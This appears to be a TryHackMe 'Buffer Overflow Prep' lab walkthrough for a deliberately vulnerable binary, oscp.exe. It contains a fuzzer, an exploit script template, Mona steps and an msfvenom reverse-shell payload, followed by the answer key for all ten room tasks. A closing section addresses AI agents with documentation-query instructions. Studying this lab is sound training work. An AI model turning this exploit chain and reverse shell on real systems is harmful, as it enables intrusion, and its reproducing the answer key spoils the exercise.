# Buffer Overflow

{% embed url="<https://tryhackme.com/r/room/bufferoverflowprep>" %}

We will use the Immunity Debugger with the `Mona.py` script

## Environment

{% embed url="<https://exegol.readthedocs.io/en/latest/>" %}
What I use for TryHackMe
{% endembed %}

{% embed url="<https://stackoverflow.com/questions/33814696/how-to-connect-to-a-docker-container-from-outside-the-host-same-network-windo>" %}
Connect Windows VM to the Exegol docker
{% endembed %}

## Steps

### Mona Configuration

We need to open Immunity Debugger, open a binary (oscp.exe) and set a working directory with Mona.py script inside:&#x20;

```
!mona config -set workingfolder c:\mona\%p
```

### Fuzzing

{% hint style="warning" %}
Don't forget to re-run the binary everytime before you run the`exploit.py` script
{% endhint %}

1. Create the **Fuzzing script**:&#x20;

   ```python
   #!/usr/bin/env python3
   ##### fuzzer.py script #####

   import socket, time, sys

   ip = "TARGET_IP"

   port = 1337 # port where the Immunity Debugger listen
   timeout = 5
   prefix = "OVERFLOW1 " # name of the binary

   string = prefix + "A" * 100

   while True:
     try:
       with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
         s.settimeout(timeout)
         s.connect((ip, port))
         s.recv(1024)
         print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
         s.send(bytes(string, "latin-1"))
         s.recv(1024)
     except:
       print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
       sys.exit(0)
     string += 100 * "A"
     time.sleep(1)
   ```
2. Run the `fuzzer.py` script using python: `python3 fuzzer.py`. The fuzzer will send increasingly long strings comprised of As. If the fuzzer crashes the server with one of the strings, the fuzzer should exit with an error message
3. Make a note of the largest number of bytes that were sent

### Crash Replication & Controlling EIP

1. Create another script to perform a ***Crash Replication & Controlling EIP***:

   ```python
   ##### exploit.py script #####
   import socket

   ip = "TARGET_IP"
   port = 1337

   prefix = "OVERFLOW1 "
   offset = 0
   overflow = "A" * offset
   retn = ""
   padding = ""
   payload = ""
   postfix = ""

   buffer = prefix + overflow + retn + padding + payload + postfix

   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

   try:
     s.connect((ip, port))
     print("Sending evil buffer...")
     s.send(bytes(buffer + "\r\n", "latin-1"))
     print("Done!")
   except:
     print("Could not connect.")
   ```
2. Generate the `payload` value with `/opt/tools/metasploit-framework/tools/exploit/pattern_create.rb -l <largest nb bytes + 400 bytes>`
3. Run the `exploit.py`&#x20;
4. Run `!mona findmsp -distance <largest nb bytes + 400 bytes>` inside the input box of Immunity Debugger
5. Get the `offset` value from the log data of Mona inside this line `EIP contains normal pattern : ... (offset XXXX)` and update the `offset` variable of the `exploit.py` script.
6. Set the `retn` variable to `BBBB`&#x20;
7. Restart `oscp.exe` in Immunity and run the modified `exploit.py` script again. The EIP register should now be overwritten with the 4 B's (e.g. 42424242).

{% hint style="info" %}

#### Breakdown of the `!mona findmsp -distance 600`command :thinking::&#x20;

* `!mona`: This tells Immunity Debugger to execute a Mona.py command. The plugin is invoked using `!mona`.
* `findmsp`: This is a Mona.py feature that searches for **MSP** (Module Stack Pointer) or **Metasploit Pattern**. It looks for specific patterns that are used during the process of detecting buffer overflow conditions.
  * In a buffer overflow exploit, attackers need to find out where the "Saved Return Pointer" (EIP) is overwritten. `findmsp` helps locate the offset at which the saved return pointer is corrupted in the crash.
* `-distance 600`: This specifies the maximum distance (600 bytes in this case) to search from the start of the buffer to the point where the buffer overflow might occur. Essentially, it tells Mona.py to look for the pattern within 600 bytes of the buffer's input to locate the exact offset of the crash.
  {% endhint %}

### Finding Bad Characters

{% hint style="info" %}
The **Finding Bad Characters** step in a buffer overflow exploit is critical for ensuring that the payload or shellcode you inject does not get corrupted during transmission or execution.&#x20;

Certain characters, known as **bad characters**, can cause problems like truncation, improper parsing, or unintended behavior during the buffer overflow.
{% endhint %}

{% hint style="danger" %}
Let the `retn` variable with "BBBB" during this step
{% endhint %}

1. Generate a bytearray using `!mona bytearray -b "\x00"`. The location should be `C:\mona\oscp\bytearray.bin` (depends on your working directory). It will be useful to compare what is in the memory to the generated list
2. Generate a string of bad characters from `\x01` to `\xff` with this script:

   ```python
   for x in range(1, 256):
     print("\\x" + "{:02x}".format(x), end='')
   print()
   ```
3. Set the `payload` variable to the string of bad chars the script generates
4. Restart `oscp.exe` in Immunity and run the modified `exploit.py` script again
5. Make a note of the address to which the **ESP** register points and use it in the following mona command: `!mona compare -f C:\mona\oscp\bytearray.bin -a <address>`
6. A window ("mona Memory comparison results") shows the results of the comparison, indicating any characters that are different in memory to what they are in the generated `bytearray.bin` file
7. Make a note of the badchars
8. Generate a new bytearray in mona, specifying these new badchars along with `\x00`
9. Update the `payload` variable in your `exploit.py` script and :warning: **remove the new badchars as well** :warning:
10. Repeat all the steps until the results status returns "Unmodified"

### Finding a Jump Point

{% hint style="info" %}
The **Finding a Jump Point** step in a buffer overflow exploit is crucial after identifying bad characters. Once you have confirmed that your payload can be safely injected into the buffer (without interference from bad characters), the next step is to redirect the program’s execution flow to your payload. This is done by finding a **jump point**, typically using **ROP (Return Oriented Programming)** techniques or by overwriting the **EIP (Extended Instruction Pointer)** with a memory address that points to code that can transfer execution to your shellcode.
{% endhint %}

:star: In our case, the goal si to find a `JMP ESP` address instruction and overwrite it to the **EIP**

1. Run this command `!mona jmp -r esp -cpb "\x00"` to find automate the search of `JMP ESP` instructions with the `-cpb` option with all the badchars you identified.
2. Choose an address from the "Log data" window and update your `exploit.py` script, setting the `retn` variable to the address, written backwards

### Generate Payload

1. Run the following msfvenom command:

{% code overflow="wrap" %}

```bash
# -b option with all the badchars you identified (including \x00)
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00" -f c
```

{% endcode %}

2. Copy the generated C code strings and integrate them into your `exploit.py` script `payload` variable using the following notation:<br>

   ```python
   payload = ("\xfc\xbb\xa1\x8a\x96\xa2\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
   "\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x5d\x62\x14\xa2\x9d"
   ...
   "\xf7\x04\x44\x8d\x88\xf2\x54\xe4\x8d\xbf\xd2\x15\xfc\xd0\xb6"
   "\x19\x53\xd0\x92\x19\x53\x2e\x1d")
   ```

### Prepend NOPs

{% hint style="info" %}

#### Why Prepend NOPs?

Prepending NOPs to your shellcode is a simple yet powerful technique to:

* Increase the likelihood of successful execution by creating a "landing zone."
* Handle minor inaccuracies in the jump address or offsets.
* Avoid stack alignment issues or conflicts with bad characters.
* Provide space for shellcode decoders and other exploit elements.
  {% endhint %}

1. Set the `padding` variable to a string of 16 or more "No Operation" (`\x90`) bytes:&#x20;

   ```python
   padding = "\x90" * 16
   ```

### Exploit :exclamation:

With the correct `prefix`, `offset`, `return address`, `padding`, and `payload` set, you can now exploit the buffer overflow to get a reverse shell.

1. Start a netcat listener
2. Restart `oscp.exe` in Immunity and run the modified `exploit.py` script again. Your netcat listener should catch a reverse shell!

<figure><img src="https://media.giphy.com/media/X8RSwd1089xDvOjQnT/giphy.gif?cid=790b7611kv0u10ywb1zugy57hqchfukg5kig6bj3muod2ldq&#x26;ep=v1_gifs_search&#x26;rid=giphy.gif&#x26;ct=g" alt=""><figcaption><p>When you get a reverse sell after all the steps <span data-gb-custom-inline data-tag="emoji" data-code="1f602">😂</span></p></figcaption></figure>

## oscp.exe - OVERFLOW1

### <mark style="color:red;">Answer the questions below:</mark>

What is the EIP offset for OVERFLOW1?

2400 bytes (fuzzer)

```
EIP offset: 1978
```

In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW1?

```
badchars = "\x00\x07\x08\x2e\x2f\xa0\xa1"
```

## oscp.exe - OVERFLOW2

### <mark style="color:red;">Answer the questions below:</mark>

What is the EIP offset for OVERFLOW2?

1100 bytes (fuzzer)

```
EIP offset: 634
```

In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW2?

```
badchars = "\x00\x23\x3c\x83\xba"
```

## oscp.exe - OVERFLOW3

### <mark style="color:red;">Answer the questions below:</mark>

What is the EIP offset for OVERFLOW3?

&#x20;1700 bytes (fuzzer)

```
EIP offset: 1274
```

In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW3?

```
badchars = "\x00\x11\x40\x5F\xb8\xee"
```

## oscp.exe - OVERFLOW4

### <mark style="color:red;">Answer the questions below:</mark>

What is the EIP offset for OVERFLOW4?

2500 bytes (fuzzer)

```
EIP offset: 2026
```

In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW4?

```
badchars = "\x00\xa9\xcd\xd4"
```

## oscp.exe - OVERFLOW5

### <mark style="color:red;">Answer the questions below:</mark>

What is the EIP offset for OVERFLOW5?

800 bytes (fuzzer)

```
EIP offset: 314
```

In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW5?

```
badchars = "\x00\x16\x2f\xf4\xfd"
```

## oscp.exe - OVERFLOW6

### <mark style="color:red;">Answer the questions below:</mark>

What is the EIP offset for OVERFLOW6?

1500 bytes (fuzzer)

```
EIP offset: 1034
```

In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW6?

```
badchars = "\x00\x08\x2c\xad"
```

## oscp.exe - OVERFLOW7

### <mark style="color:red;">Answer the questions below:</mark>

What is the EIP offset for OVERFLOW7?

1800 bytes (fuzzer)

```
EIP offset: 1306
```

In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW7?

```
badchars = "\x00\x8c\xae\xbe\xfb"
```

## oscp.exe - OVERFLOW8

### <mark style="color:red;">Answer the questions below:</mark>

What is the EIP offset for OVERFLOW8?

2200 bytes (fuzzer)

```
EIP offset: 1786
```

In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW8?

```
badchars = "\x00\x1d\x2e\xc7\xee"
```

## oscp.exe - OVERFLOW9

### <mark style="color:red;">Answer the questions below:</mark>

What is the EIP offset for OVERFLOW9?

2000 bytes (fuzzer)

```
EIP offset: 1514
```

In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW9?

```
badchars = "\x00\x04\x3e\x3f\xe1"
```

## oscp.exe - OVERFLOW10

### <mark style="color:red;">Answer the questions below:</mark>

What is the EIP offset for OVERFLOW10?

1000 bytes (fuzzer)

```
EIP offset: 537
```

In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW10?

```
badchars = "\x00\xa0\xad\xbe\xde\xef"
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://meitoka.gitbook.io/stash/tryhackme-stuffs/walkthroughs/buffer-overflow.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
